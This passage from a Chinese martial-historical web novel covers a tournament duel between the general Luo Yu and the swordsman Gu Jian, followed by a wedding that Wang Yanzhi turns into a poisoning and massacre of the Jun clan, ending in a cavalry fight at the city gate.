王彦之、君天啸、君墨竹以及洛羽等人全都来到了现场助兴,四周还坐着定州、并州大大小小的城主,百姓更是乌压压一片望不到头。
“好热闹啊。”
洛羽唏嘘不已,他在阙州可没见过这么热闹的场面。
王彦之呵呵笑道:
“与民同乐嘛,百姓们天天只知道耕地种田,总得找点乐子解解乏。”
“还是王兄心思活泛啊,哈哈。”
君天啸满面春风,前阵子他还朝王彦之翻白眼,现在却笑语不断,自然是知道了三州结盟,推举他爹当节度使的事。
王彦之轻笑一声:
“今日有好戏噢,大家仔细看。”
最先登场的两人一个使刀、一个用斧,使刀那人张牙舞爪,一柄大刀舞得虎虎生风,甚是骇人。用斧头的家伙身材壮硕,看起来很笨重,不断后退躲刀。
王彦之啧啧称奇:
“此人身手不错啊。”
“未必啊。”
洛羽轻笑一声:“此人刀法看似不错,但都是花架子,脚步虚浮,根基不稳,反观用斧主人虽然被逼得不断后退,实则一直在积攒体力、寻找机会。
一旦出手,刀客必败!”
几人目露犹疑,并未提出反对意见,毕竟在场的只有洛羽会武功,自然是内行看门道。
“铛铛铛!”
“砰砰砰!”
两人连斗了十几个回合,刀客看似占尽上风,可体力渐渐耗尽,果然被斧手抓住机会,一斧柄狠狠砸在了胸口上,刀客当场飞出去老远,砰得往地上一栽,疼得直咧咧。
“彩!”
“喔喔!”
全场喝彩,斧手兴奋地高高举起双臂,迎接众人的喝彩。
王彦之佩服不已:
“还是洛兄眼光毒辣啊,哈哈,咱们也就只能看个热闹。”
“打打打!”
“谁再来!”
陆续有人登台比试,斧手接连击败了好几名对手,整个人得意扬扬,朝着台下候场的选手高喝一声:
“来,再来!”
恍惚间有种睥睨群雄的感觉。
“蹬,蹬,蹬!”
轻微的脚步声响起,一道略显消瘦的身影缓步登上演武台,一袭黑衣在风中微微飘动,腰间斜跨一把长剑。
男子登台的一瞬间,四周围观的百姓就安静了下来,洛羽目光微凝,此人的气势让他很是好奇。
一眼高手。
斧手有些疑惑,他不知道周围的百姓怎么安静了下来,皱眉问道:
“你是谁?为何前两日没见过你?”
黑衣剑客笑而不语,连剑都没拔,只是轻侧手掌:
“请。”
“狂妄!”
斧手冷笑一声:
“装神弄鬼!找死不成!”
“喝!”
连着几场胜利让他积攒了自信,三步前冲,率先发动进攻,双手握斧猛然往下一砸:
“小子,吃我一斧!”
强劲的力道甚至带起了阵阵破风声,很是唬人。
可黑衣剑客不紧不慢地一侧身形,斧锋几乎是贴着前胸滑了过去,紧跟着他右脚掌往前一伸,绊住了斧手的左腿,左肩顺势一转,狠狠顶在了他的肩膀上。
看似轻飘飘的一顶,可力道十足,剧痛瞬间袭遍全身。
“嘶!”
“扑通!”
斧手猝不及防,当场摔了个大马趴,引得全场哄笑。
“哈哈哈!”
被人一招轻飘飘的制服,斧手气得火冒三丈,一擦鼻尖流出来的血迹愤然转身,凶神恶煞地扑了上来:
“你找死!”
这一斧使出了全力,凶悍至极,此次比武本是点到为止,但急火攻心的斧手明显是带着杀意而来。
“蹭!”
一声嗡嗡作响的剑鸣,粗狂的斧手只看见一道寒光闪过,下半身便陡然一凉。
掉了,裤子拦腰被剑锋撕裂,斧手的下半身只剩一条裤衩,满腿的腿毛暴露在所有人的视线里。
可长剑依旧在剑鞘之中。
“好快的剑。”
洛羽陡然坐直了身子,眼神中第一次出现了凝重之意,他甚至在此人身上嗅到了一股危险。
全场百姓鸦雀无声,个个张大了嘴巴,他们甚至没看清此人出剑的动作。
黑衣剑客笑眯眯地看着对手:
“还打吗?”
斧手吓得面色煞白,不停地哆嗦:
“不,不打了,我认输!”
刚刚长剑只要再多一点点,自己的命根子可就没了。
风吹裤裆微凉,两眼直冒金光。
“彩!”
漫天欢呼声中,斧手逃也似的跑下演武台,还未出场的选手面面相觑,妈呀,这么快的剑,谁敢与之对阵?
场面很是沉寂,无人敢上台。
黑衣剑客负手而立,嘴角带笑:
“一起吧,我赶时间。”
“好狂的口气!”
全场哗然,此人竟然让剩下的十几人一起打他一个!
哗啦啦十几名选手全都涌上台前,一场以一敌多的混战就此拉开帷幕。
洛羽望着场中人影,十分好奇:
“此人是谁?”
“哈哈哈!”
王彦之没有回答,反而是爽朗一笑:
“这可是我并州的能人啊,洛将军觉得此人剑法如何?”
君天啸和君墨竹同样目露好奇,洛羽微微点头:
“快,好快的剑!”
其实从上场到现在此人就出了一剑,哪怕是现在面对十几人围攻也只是用剑鞘迎敌,剑法如何洛羽没法评价,只能从那一剑中看出奇快无比。
绝顶高手!
“呵呵,名字我暂且保密。”
王彦之卖了个关子:
“不过此人可是号称陇西第一剑噢。”
“陇西第一剑?竟然是他!”
君家两兄弟齐齐错愕,明显听过此人的名头。
洛羽则有点懵,他从小在阙州长大,其他两州的消息知之甚少。
“砰砰砰!”
“铛铛铛!”
“啊啊~”
场中灰尘四起,黑衣剑客以一敌多,身形在人群中不断穿梭,十几人愣是拿他一点办法都没有,不停有人飞出战圈。
当最后一人被剑客一脚踢出场外的时候全场沸腾:
“彩!”
百姓们奋力地拍手相庆,此次比武大会的冠军还能谁?
自然是他!
全场瞩目之下,黑衣剑客朝着观礼台抱拳作揖,屏气沉喝:
“龙泉山顾剑,请洛将军赐教!”
第260章得人千金不如顾剑一诺
朗喝声回荡全场,百姓们先是一愣,然后便群情沸腾,声声高呼洛将军!
断戈川一战杀西羌皇子,洛羽名震三州,民间传言洛羽生了三头六臂,武功高强,一人可以抵挡千军万马;也有人说洛羽乃天神下凡,勇不可当,总而言之就是天下最强。
现在好不容易有机会亲眼见到洛羽出手,谁不兴奋?
洛羽目瞪口呆:
“怎么还有我的事,不是比武大会吗?”
“哎啊,洛将军,这不是以武会友吗。”
王彦之呵呵笑道:
“咱们这位陇西第一剑可是久仰你的大名,今日转为你而来,你看看百姓们迫切的目光,不出手恐怕说不过去了吧?”
洛羽这下明白了,原来王彦之说的好戏是自己!
“上吧洛兄。”
君天啸在一旁起哄:
“也让咱们见识见识你的身手。”
“哈哈哈!”
洛羽无奈地站起身:
“只求别丢人现眼。”
“洛兄加油,干翻陇西第一剑,哈哈!”
漫天欢呼声中,洛羽走上演武台,与顾剑相对而立。走近了才看清此人的面庞,竟然十分年轻,也就二十来岁的样子。
身形瘦削如刃,裹在黑色劲装下的躯体透着一股嶙峋的锐气。束发的银绳被风吹起三寸,末端系着的纹铃叮当作响。最扎眼的是那双手,十指修长苍白,骨节处泛着练剑人才有的淡青色,给人的感觉他就是一把剑,而不是剑客,仿佛随时要割破虚空。
锋芒毕露,洛羽第一次用肉眼感受到了锋芒毕露四字的含义。
“龙泉山顾剑,久闻洛将军大名,幸会。”
黑衣男子微微欠身:
“贸然挑战,还请洛将军恕罪。”
“无妨。”
洛羽还礼:“以武会友嘛,本就是喜事。”
“得罪了!”
顾剑话音未落,身形已如一道黑色闪电欺近,长剑铮然出鞘,整个人的气势几乎是骤然一变,杀伐之意笼罩全身。
寒光如雪,剑锋直刺洛羽咽喉。这一剑快得几乎看不清轨迹,台下百姓惊呼出声,剑锋已至!
洛羽眼神一凛,苍刀未拔,刀鞘横挡。
“铛!”
一声锐响,火花迸溅。
顾剑的剑尖抵在刀鞘上,劲力未消,竟推得洛羽后退半步。
全场惊骇,显然第一轮交锋洛羽被压了一头。
“好快的剑,哈哈!”
洛羽大笑一声,同时手腕一翻,刀鞘旋开,苍刀终于出刃!刀身乌黑如墨,唯有刃口一线银光撕裂虚空。
顾剑见一击未果,剑势骤变,手腕微抖,剑锋瞬间化作三道残影,舞得密不透风,将洛羽尽数笼罩,一手剑术博得满堂彩!
洛羽不退反进,苍刀横斩,刀风呼啸,硬生生将三道剑影尽数劈散。
两人错身而过,顾剑剑锋回转,反手一削,直取洛羽后颈。洛羽就像是背后生眼,苍刀倒提,刀背格挡。
“锵!”
金铁交鸣,震得两人手臂皆是一麻。
台下鸦雀无声,所有人都屏住呼吸,眼睛一瞬不瞬地盯着台上。
精彩,太精彩了!
顾剑眼中战意更盛,低喝一声,剑招越发凌厉,剑锋如暴雨倾泻,每一剑都带着刺骨的寒意。洛羽刀势沉稳,苍刀挥舞间密不透风,将剑招一一化解。
刀剑相击之声如骤雨降世,快得让人喘不过气。
顾剑的剑越来越快,几乎化作一片银色光幕,而洛羽的刀却稳如磐石,每一刀都精准地截住剑锋的去路。
突然,顾剑剑势一滞,身形骤退三步,随即猛然前冲,长剑直刺,剑尖竟隐隐给人一种龙吟出鞘之感:
“洛将军,小心了!”
洛羽瞳孔微缩,这是全力一击啊!立马苍刀横握,刀身一震,浑身豪情弥漫:
“放马过来!”
“轰!”
刀剑相撞,气浪翻涌,演武台上的尘土被激得飞扬而起。两人同时后退数步,站稳身形时,刀剑已各自归鞘。
台上台下,一片寂静。
两人这是打了个平手!
良久,顾剑缓缓吐出一口气,抱拳道:
“洛将军刀法如神,顾某佩服。”
洛羽亦拱手一笑:“不愧是陇西第一剑,今日算是领教了。”
顾剑看向洛羽,眼中锋芒未减:“他日若有机会,再向洛将军讨教。”
洛羽爽朗一笑:“随时恭候!”
王彦之适时走上台,朗声笑道:
“精彩!二位皆是当世英杰,此战不分胜负,实乃我陇西之幸!”
台下百姓这才如梦初醒,爆发出震天喝彩。
王彦之环视全场,抱拳高喝:
“明日王家君家大婚,家家赏酒一壶,满城共庆!”
……
“这个顾剑到底是何许人也?我看你们的反应好像都听说过此人?”
洛羽很是好奇,能被陇西四公子记得的人一定不凡。
君墨竹斜靠在椅背上,漫不经心的说道:
“此人算是并州的一个奇人,很久之前并州曾经有三大家族,分别是王家、唐家、顾家,三家鼎立,顾家祖居龙泉山,家族繁衍多年、人口庞大,方圆数十里的村落几乎全都姓顾,且历代顾家家主都练剑,剑法超群。
不过顾家一直与世无争,就守着自己的一亩三分地过日子,所以并州的争端都发生在王家唐家,后来王家灭掉唐家,成为并州持节令,与顾家井水不犯河水,并州由此安定。
在并州大大小小十几位城主里,顾家的实力当居翘楚,因为龙泉山附近有马场,乃顾家祖产,再加上族人一心,积攒多年有四千余骑兵,敢打敢拼,只听顾剑一人号令。”
“怪不得能与王家并存,原来实力如此雄厚。”
洛羽面色微惊,他本以为顾剑只是个侠客,没想到还坐拥如此大的一股势力,四五千骑,在陇西三州称得上一方豪强了。
“此人自幼练剑,天赋惊艳,曾一人一剑屠尽数十号土匪,更有一次羌人游骑入境,杀了顾家主人,此人领心腹族兵与羌人正面对战,一战杀光五百羌骑,名震并州,由此得名陇西第一剑。
十六岁时他父亲病逝,年少的他一跃成为家主,顾家上下皆唯他马首是瞻。”
君墨竹接着解释道:
“顾剑讲信誉、重名节,从不做欺压良善、横行乡里的勾当,在民间风评极好,而且他轻易不会对人许诺,但只要说出口的话就一定做到!
在并州有一句话说的就是他。
得人千金不如顾剑一诺!”
“噢?听起来倒是个有趣的人物。”
要知道在陇西三州境内大多势力都对羌人畏之如虎,敢正面与其一战的屈指可数。
洛羽饶有兴趣地问道:
“王家对龙泉山就没有想法?任由这么大一股势力盘踞在并州境内?”
“巧了,两家一直和睦共处,并无纠葛。”
君墨竹轻笑道:
“早年间顾剑的娘亲身患重病,是王家出手相救,好不容易才治好了他娘的病。顾剑曾经对天起誓,会帮王家做三件事。
你想想,得人千金不如顾剑一诺,王家何必自找麻烦去与顾家为敌?倒不如和平共处,必要时还可以找顾家出手相助。”
“明白了。”
洛羽缓缓点头,以王彦之的性格,定然会与顾剑结交为好友,何必刀兵相见呢?
君墨竹嘟嘟囔囔又扯了一些家常,眼瞅着天都要黑了,洛羽好奇道:
“你明天都成婚了,这个时候还赖在我这干嘛?走走走,赶紧走,别在我这找潇洒!
人呐,该面对的总要面对的。”
“唉,走了。”
君墨竹长叹一口气,骂骂咧咧地走了出去:
“成亲就成亲,怕个球!”
……
王府
王彦之负手而立,墙面上挂着一幅地图,将陇西三州的疆域尽数囊括在内。
一名中年武将站在身后,恭恭敬敬地说道:
“家主,五千兵马已调入城中,加上原有驻军,城内总计有一万精锐。”
“知道了,下去吧。”
“诺!”
王彦之的手掌在地图上轻轻划过,眼眸中带着一股怅然:
“陇西啊,陇西!”
第261章大婚之日异变生
大婚之日,满城相庆!
陇西两大世家的联姻堪称近年来一大盛事,城内张灯结彩,街道上爆竹声不断,虽说与百姓无关,怎奈谁都爱凑个热闹。
大批甲士在街道上维持治安,确保婚礼圆满。
并州王家的祖宅今日朱门洞开,九重庭院尽数披红。自三进大门起,每道门楣都悬着鎏金喜匾,两侧廊柱缠绕着朱绫,金丝绣成的“喜”字在阳光的照耀下泛着光晕。
院内主道,每隔十步便立着一对青铜仙鹤灯盏,鹤嘴衔着赤纱宫灯,灯下垂着十二串珠帘。
什么叫富贵,什么叫底蕴?
这就是陇西世家的底蕴!
黄昏时分,王府大管家的喝声响彻府内:
“吉时将至,速速查看各处香案!”
古语有云,婚者、昏也,所以按大乾风俗,拜堂成亲自当是黄昏时分。
上了年纪的大管家手持礼单,在回廊间疾步穿行。丫鬟们捧着鎏金托盘往来如蝶,盘中的香块在青铜香炉中化作袅袅青烟,与庭院中争奇斗艳的百花交融,织成一张无形的富贵罗网。
正堂前,石阶全部覆着红毯,门外街巷立着一排排甲士防止有人捣乱。院内还有乐师们轻奏琴瑟,乐音绕梁不绝。
“陇西巡阅使上官大人到!贺两家大婚!”
“阙州持节令洛将军到!”
“并州龙泉山顾城主到!”
“定州乐山城主……”
唱名声此起彼伏,各色车驾在府门外排出老远,来者皆是三州权贵、城主,准确的说是两州,因为阙州已经没有城主了,只有洛羽一人来参加婚事。
四周百姓们投来艳羡的目光,今日能迈进王府大门的人物哪一个不是鼎鼎有名?
洛羽刚迈进府门两步就愣住了,犹如乡巴佬进城:
“好大的排场啊。”
同为阙州持节令,洛羽可没有这样的祖宅、更没有这么多银子来办一场婚事。
“洛将军说笑了,您位高权重,只要想,也能这么办。”
顾剑淡淡的声音从背后传来,以他在并州的地位自然够资格赴宴。与以往一样,他腰中照例配着一把长剑,今日所有宾客就他带了兵刃,没办法,顾家家主剑不离身,这是多年祖训。
洛羽摇了摇头:
“我可舍不得,有这么多银子不如给我的军卒多添一副甲、给阙州的百姓多发一斗米。”
洛羽自嘲一笑,迈步走入院内,反正是王家君家的银子,怎么花他说了也不算。
顾剑表现出一丝诧异,望着远去的背影喃喃了一句:
“像是个有趣的人,可惜啊……”
进入院内的宾客越来越多,院内摆着十几张桌子,用来招待来往城主、富商,屋内只有寥寥两三张桌案,能入座的无一不是陇西显赫。
“新郎到!”
一声高喝,只见君墨竹缓步从连廊右侧走出,一身正红锦缎婚服,腰间玉带上悬着双鱼玉佩,行动间环佩轻响如清泉漱玉。
“好个俊俏的二公子啊。”
上官熙满脸笑意:“洛将军,陇西之地的年轻俊杰果然不凡,风度翩翩。”
“大人说笑了,陇西毕竟粗鄙之地,怎么比得上京城呢。”
洛羽随意寒暄了几句,虽然脸上挂着笑意但心中暗自鄙夷,此人还真是冠冕堂皇,若不是因为君墨竹的婚礼,这次一定好好跟他算账!
“新娘到!”
忽闻鼓乐大作,只见连廊另一头走出八名红衣婢女开道,人群后方身着霞帔的便是新娘子了:
王家独女,王青青。
只见新娘通身大红嫁衣,金丝牡丹从裙裾一路绽放至腰际,云肩上的珍珠串随着步伐轻轻摇曳。一截凝霜皓腕裸露,分外雪白,缀满东珠的绣鞋点在猩红地毯上,竟未激起半分尘土,观其身形就知道气度不凡,果然是大家闺秀。
“呵呵,正是郎才女貌,天作之合!”
满场宾客无不交口称赞,实际上所有人都知道王青青乃庶出之女,但君墨竹也不过是私生子罢了,两人倒是相配。
喜娘引着新人踏过三道火盆,寓意“蒸蒸日上”。正堂内早已设好天地桌,鎏金香炉中三柱龙涎香青烟笔直,散发着缕缕清香。
洛羽左看右看,百无聊赖,大世家啊,仪典就是繁琐。
“吉时到!”
司仪官声如洪钟。
三通鼓响,乐师们齐奏喜乐。
“一拜天地!”
新人朝门外苍穹深深叩首。
“二拜高堂!”
两人转向正中,一左一右端坐着的分别是并州持节令王蒙、定州持节令君世雍。身患重病的王大人面色苍白、十分虚弱,不过看得出他脸上带着喜意。
“夫妻对拜!”
两人衣袂相触的刹那,就算是圆满礼成了。
“彩!”
满座宾客轰然叫好,唯有巡阅使上官熙的眼眸中闪过些许怪异的目光。
表面看起来是一桩婚事,背后却是陇西最大的两个门阀结盟在一起,日后他这位巡阅使再想做点什么可就难了啊。
礼成之后便是酒宴,新娘由婢女护送回房,等着洞房花烛夜,君墨竹自然是要留下来喝酒的,君天啸一直说要把弟弟灌个烂醉如泥。
“奏乐!”
年轻貌美的红衣女婢们将一盘盘佳肴呈上,凤仙醉的酒香弥漫全场,席间觥筹交错,笑语不断。
酒过三巡,王彦之突然举杯起身:
“诸位!”
场面迅速安静下来。
“我父亲身体抱恙,暂且回房休养,在下代父亲感谢诸位的到来,王府若是有待客不周之处还望多多包涵!
今夜别无二事,唯有一醉方休!”
“一醉方休!”
“不过咱们还得感谢上官大人,从京城远来祝贺,巡阅陇西三州,一心为国分忧,为民谋福,劳苦功高!乃我辈楷模!”
王彦之朗笑一声:
“王某有个提议,咱们请君大公子为首,众人一起敬上官大人一杯如何!”
“甚好!”
所有人都在起哄,王彦之请君天啸为首敬酒十分合理,他毕竟是主家,不能抢太多风头,君天啸既是新郎的哥哥,又是未来的君家家主,身份正好合适。
言语间一名红衣女婢已经端着一盏金杯走来,身形婀娜,步履轻移间散发着阵阵女子的清香。
君天啸端起酒杯捧到上官熙身前:
“谢大人为国分忧,照拂陇西!”
“敬大人!”
全场齐齐举杯:
“敬大人!”
这种场面上官熙岂能推辞?接过君天啸手中的金杯朗笑道:
“都说陇西好客,今日一见果不其然。这杯酒也不用敬我了,就敬陇西三州!望我大乾西境也如新人,蒸蒸日上!”
“敬陇西!”
上官熙将杯中美酒一饮而尽,春风满面。
“噗嗤!”
下一刻,上官熙浑身一颤,一口鲜血猛然喷出,溅了君天啸一身。
“扑通!”
这位巡阅使大人跌坐椅背,捂着一手的黑血,目光绝望地看向酒杯:
“有,有毒!”
尸体倒地,全场死寂。
第262章血色婚礼血映红
乌黑色的血液顺着嘴角缓缓流淌,躯体在迅速僵硬,堂堂从二品陇西道巡阅使以一种非常突然、极其凄惨的方式死了。
中毒,酒里有毒!
所有人都傻了,包括洛羽也目瞪口呆,宴席一片死寂,安静得连呼吸声都听不见。
“这,这……”
“我,我什么都没干啊。”
被喷了一身血的君天啸不仅是慌乱,更感受到了一种恐惧,因为他觉得很多人都以一种怪异的目光看着他。
难道自己还敢大庭广众之下毒杀上官熙不成?
“嗤!”
刚刚送酒的红衣婢女猛然抬头,眼神中那种柔弱陡然被一股凌厉所取代,从托盘之下翻出一把短小的匕首,狠狠扎进了君天啸的胸口。
“噗嗤!”
一道血箭狂喷而出,君天啸不可置信的看着胸口,丝丝鲜血顺着刀口不断溢出。在生命的最后时刻,君天啸只看见王彦之的嘴角勾起了一抹淡淡的笑容:
“你,你……”
又死一个!
从上官熙中毒毙命到君天啸被婢女所杀,前后不过几个呼吸,在场之人根本来不及反应。
“啸儿!”
君世雍浑身战栗,扑通一声跌倒在儿子身边:“啸儿!”
洛羽终于反应过来了,愤然转身怒喝:
“王彦之!是你!”
“恭喜你,猜对了。”
王彦之缓缓起身,袍袖一挥,冰冷的嗓音回荡全场:
“君家君天啸,刺杀陇西道巡阅使,谋逆叛国,罪大恶极!”
“王家遵大乾律法,诛杀叛逆!君家九族尽杀!”
“王彦之,你卑鄙无耻!”
还处在失神中的君墨竹眼眶血红,厉喝出声:
“杀我兄长,此仇不共戴天!”
一向沉稳的君墨竹脑子里根本没有任何理智可言,唯有愤怒。兄长死在自己面前,换谁能保持冷静?
王彦之森然一笑:
“我知道你君墨竹耳目众多,为了今天,我可是慎之又慎啊,呵呵。
所以,你也死吧!”
就在君墨竹怒喝出声的同时,候在他身边伺候的红衣婢女也掏出了一把匕首,稳准狠地扎向其胸口。
“小心!”
洛羽眼疾手快,一脚踢中椅背,君墨竹踉跄着往前一栽,匕首避开了心口要害,扎进了他的肩膀,鲜血飞溅。
“墨竹!小心啊!”
君世雍尖声嘶吼,还不等洛羽去拉他,一左一右两名红衣婢女全都扑了过来,两道寒光一闪齐齐刺向洛羽的心窝。
“该死的。”
洛羽脚掌一跺,椅子倾倒,整个人在地上滚了两圈,险之又险的避开杀招,再度起身时手掌中多出了一把短小的匕首。
破晓!
这把短匕已经许久没有出现在人前了,殊不知洛羽一直是贴身携带,从不离身。
“给我死!”
短匕在手,洛羽岂惧女子?身形前冲,浑身杀气缭绕,左右横挥,强劲的力道瞬间挡开了婢女的攻势,轻松两刀就要了女婢的命。
“唔,竟然还藏了刀。”
王彦之嘴角微翘:“可惜啊,终究还是得死在这。”
“杀!”
整个宴席所有的红衣婢女都出手了,一柄柄短匕不断插入赴宴宾客的胸口,道道鲜血飞溅。
偌大的庭院中摆下了数十桌宴席,宾客何止百计?其中一大部分是君家族人还有定州的城主、富商,这些人全都成了红衣女子刺杀的目标。
她们哪里是婢女丫鬟,分明就是精心训练许久的杀手!
动手的不只是她们,还有不少王家嫡系族人,直到现在他们才暴露出真面孔,袖中藏着短刀、衣袍内里还套着软甲,显然此事已经蓄谋已久!
“嗤嗤嗤!”
“啊啊!”
“饶命,饶命啊。”
有些人反应快,一脚踢翻桌子竭力反抗;还有的人不明就里,跪在地上不停的求饶;但更多的是被匕首一刀毙命,不断有死尸倒地。
君家人绝望的倒在血泊中,临死前都想不通为何王家会对他们出手,还选在婚礼之夜动手!
凄厉的惨叫声回响在整座宅院,随处可见的红灯笼、红地毯在鲜血的混杂下显得格外狰狞、可怖。
更显嘲讽。
谁能想到一场婚礼会变成这样?
今夜的王家祖宅,宛如人间炼狱。
“啸儿!天啸!”
定州持节令、君家家主君世雍抱着儿子的尸体泣不成声,老泪纵横,撕心裂肺的哀嚎令闻者无不悲痛。
长子死于眼前,族人惨遭屠杀,老人心中该是多么悲痛?
就在半柱香前,他还是定州持节令,陇西的主宰之一,可现在却是待宰的羔羊。
“王彦之,你不得好死!”
洛羽暴怒无比,连着斩杀了好几名逼近身前的杀手,这一刻他想明白了很多事。
为何从一开始王彦之就坚持要把婚礼放在并州;借口上官熙的刺客作乱,堂而皇之的调集五千兵马入城;还诚恳的提议让君世雍出任节度使,迷惑君家洛家;最后借口婚礼的安全,卸去了所有人的军械,还不给护卫进入府中。
这一切的一切都是为了这一场屠杀!
惊天阴谋!
重重护卫之中的王彦之轻声一笑:
“洛将军,你还是担心担心自己能不能活下去吧,呵呵。”
“锵!”
一声清脆陡然在耳边响起,洛羽只觉得浑身汗毛都竖了起来,忙不迭地一扭身形,一柄长剑贴着自己的腰身刺了过去,顺势割开了衣袍。
如果动作再慢一点,洛羽当场就会毙命。
洛羽转身的刹那对上了顾剑冰冷的眼眸:
“顾家也要掺和此事?”
不是说龙泉山顾家与世无争吗?他为何要出手相助王家!
顾剑冷冰冰的回道:
“我欠王家三件事,第一件,今夜杀了你!”
洛羽猛然想起君墨竹说的,王家救了顾剑的母亲,欠他们人情!怪不得王彦之要安排自己与顾剑交手,原来是在提前试探身手!
得人千金不如顾剑一诺,看来王家是把顾剑的承诺用在了刀刃上。
“对不住了,洛将军!”
冷喝声下,剑锋斜刺而来,仅有一柄短匕的洛羽被逼得连连后退,外加还得保护君墨竹的安全,一连串的过招下来洛羽只有防守之力,压根无法反击。
正当洛羽被逼到墙角之时,顾剑只觉得侧面有一个巨大的黑影砸了过来,下意识地往后一退。
“砰!”
一张木椅砰然撞落,木屑飞溅。
君世雍踉踉跄跄地跑来,同时还有七八名君家嫡系围拢在周围,人人衣袍染血,手中抓着一柄夺来的匕首。
君家这么多族人,总有几个习武能打的。
其中一人嘴里含着竹哨拼命地吹,尖锐又刺耳的哨声划破云霄,在夜色中悠悠回荡,随即城中便传出了阵阵尖锐的响箭,像是在回应哨声。
“咻!咻咻!”
洛羽茫然,干啥呢这是?
两鬓微白的君世雍紧紧握住洛羽的手掌:
“君家在城中有一千五百军卒,响箭一起,他们自会来救。王家筹谋多时,一千五百军卒也回天无力,但能拖住并州军片刻。
洛将军,老夫此生从不求人,今日求你带着墨竹逃出城去,我来挡住并州军。”
总算是听到了一点点好消息,洛羽那叫一个佩服啊,姜还是老的辣。
“爹!我不走!”
半边身子已经被鲜血染红的君墨竹顾不得肩膀上的剧痛,竭力嘶吼:
“拼了,跟王家拼了!”
哪怕平日里的君墨竹再沉稳、再冷静,他也没有遭遇过如此惨烈的场面,理智全无。
“啪!”
君世雍一巴掌狠狠甩在了他脸上,破口大骂:
“拼有什么用!活下去才是最重要的!天啸已经死了,难道你想看着君家满门覆灭吗!
从现在起你就是君家家主,给我记住,君家以后就靠你了!
爹可以死,你不行!”
君墨竹怔怔然,目光无比凄惨。
“轰!”
只听一声剧烈的炸响,王府的侧面被炸开了一道巨大的豁口,数不清的军卒在往里冲吗,喊杀声大作!
君家的援兵到了,可王家的兵马更多,双方重重叠叠地冲杀在一起,场面越发混乱。
“洛将军,老夫求你了!”
君世雍满脸急色,苍老的眼眸中已经有泪花闪烁:
“我可以死,但墨竹不能死,君家不能亡!只要能让君墨竹活下去,日后君家就奉你为主!”
洛羽长出一口气,沉声道:
“只要我活着,墨竹就不会死!”
“君大人,您自己保重!”
“走!”
洛羽没有片刻犹豫,抓着君墨竹就往外冲,直到人影远去还能听到君墨竹的哀嚎:
“爹,爹!”
目送着儿子远去,文人出身的君世雍目露疯狂,仰天长啸:
“为了君家,拼了!”
“杀!”
第263章惊魂一夜满城尸
整座并州城都乱成了一锅粥,火光冲天而起,嘶吼声响彻云霄。
一万并州军在城内大开杀戒,目标明确地清除异己,与之相对的便是君家兵马、定州各城主的随行护卫,甚至连上官熙残存的杀手都投入了战斗。
其实绝大部分人都不知道为何突然开战,甚至不知道敌人是谁,只是被动的反击,但所有人都清楚一件事,不反抗就只能被屠杀!
洛羽拽着君墨竹,身侧跟着数十名定州军卒,刚走出王府半条街就被黑压压的并州军堵住了,一排排长枪盾牌在火光的映衬下格外森冷。
领头的中年都尉持刀大喝:
“奉王大人诏,诛杀叛逆!一个贼人也不得放走!”
“轰隆隆!”
话还没说完,他就听到身后传来一阵急促的马蹄声,下意识地转身回头。
“噗嗤!”
身子刚转到一半,一杆长枪便狠狠捅穿了他的胸膛,战马猛冲而来,将其尸体撞飞出老远,摔成一滩肉泥。
三百黑甲精骑以一种极为蛮横的姿态杀穿了并州军阵,几百步卒仅一个交锋就被打得溃不成军,阙州骑军之骁勇可见一斑。
岳伍许韦两人急急忙忙地勒住缰绳:
“属下来晚了,将军没事吧?”
三百亲卫的甲胄上沾满了血迹,明显经过一场激战,不用想就知道并州军已经袭击过悦来酒楼了。
洛羽没有废话,翻身上马,握上长矛悬配苍刀之后心里踏实了很多,冷喝一声:
“护着君公子,杀出城去!”
别看区区三百骑,可他们是从战场上拼杀出来的铁血精锐,金戈铁马横冲直撞,人挡杀人、佛挡杀佛。
一路上的景象让洛羽满心愤慨:
街头巷尾到处都是混战在一起的各方军卒,当然了,早有准备的并州军稳占上风,其他各方军卒要么惨遭屠杀、要么丧胆投降。
更恐慌的就是城内百姓了,不是婚礼吗?不是陇西盛典、满城同庆吗?怎么突然就演变成一场惊天杀戮?
王彦之的歹毒、狠辣、阴险颠覆了以前所有的形象。
君墨竹的神情依旧呆滞,嘴里喃喃念叨着父亲与兄长,哪还有半点陇西四公子的气度。
“唉。”
洛羽轻叹了一口气,眼下这种时候说什么安慰的话都没用,只能先逃出城去再说。
“杀!”
“铛铛铛!”
“拦住他们!”
三百精骑动作神速,在击溃多支并州军后终于来到了城门口,但洛羽没有感觉开心,反而是面色凝重的一抬手:
“停!”
三百骑骤然停马,战意汹汹。
挡在他们面前的是整整八百骑兵,虽然大多人没有甲胄在身,可每个人的表情都十分冷漠,与寻常并州军的气势截然不同。
顾剑一人一马一剑,独立阵前。
八百顾家精骑!
据君墨竹所言,顾家数千骑兵可不是花架子,月月操练、年年剿匪,大多数人都见过血,战斗力要超过寻常城主的兵马。
长剑出鞘,顾剑的表情一如既往的冷漠:
“又见面了,洛城主。”
洛羽紧握长枪,眼中杀意森然:
“你是真想与我为敌?”
“答应别人的事就要做到。”
顾剑缓缓提剑:“想出城也可以,踏着我的尸体过去。”
“呸!”
洛羽恶狠狠地吐出一口唾沫,再也不废话,挺枪前冲:
“前日没打够,再来!”
“让我领教一下洛将军真正的本事!”
两马相交,骑兵对冲!
火把的光影在顾剑脸上跳动,表情极为冷漠。洛羽的枪尖在青石板上擦出火星,三百黑甲亲卫同时压低长矛,战马嘶鸣。
“杀!”
精铁长枪笔直刺出,直取顾剑咽喉。他却像早预判了轨迹,长剑上挑时手腕微旋,剑锋“铛”的一声撞开枪杆,震得洛羽手掌发麻。
一击未中,洛羽横枪一扫再度袭来,顾剑长剑上翻,又是一记凶悍的对撞:
“铛!”
两匹战马错身刹那,顾剑的剑锋突然贴着枪杆削来。洛羽猛地后仰,剑尖擦着鼻尖掠过,削断几缕飞扬的黑发。看似惊险无比,可洛羽丝毫不乱,顺势抡圆长枪横扫,顾剑俯身马背,剑身负于身后,同样避开了杀招。
“杀!”
“砰砰砰!”
三百黑甲精骑已经与顾家轻骑撞在一起。岳伍一杆长枪先行,一枪捅死敌骑,许韦不甘示弱,枪出如龙,反手就将一名顾家骑卒挑落马背。
人人争先,杀气腾腾。
三百亲兵悍勇,可顾家军同样不弱,又仗着人多,硬生生阻住了骑兵前冲的势头,近千悍卒就在狭窄的街巷中展开了混战。
刀光剑影,血肉搏杀!
而洛羽和顾剑始终在捉对厮杀,各出狠招,一人枪影纷飞、一人剑法超群,始终分不出胜负。
“铛!”
又一次凶悍的对拼之后,顾剑冷笑一声:
“看来那日洛将军并未使出全力啊。”
“你又何尝不是?”
“再来!”
两人同时出招,狠厉果断。
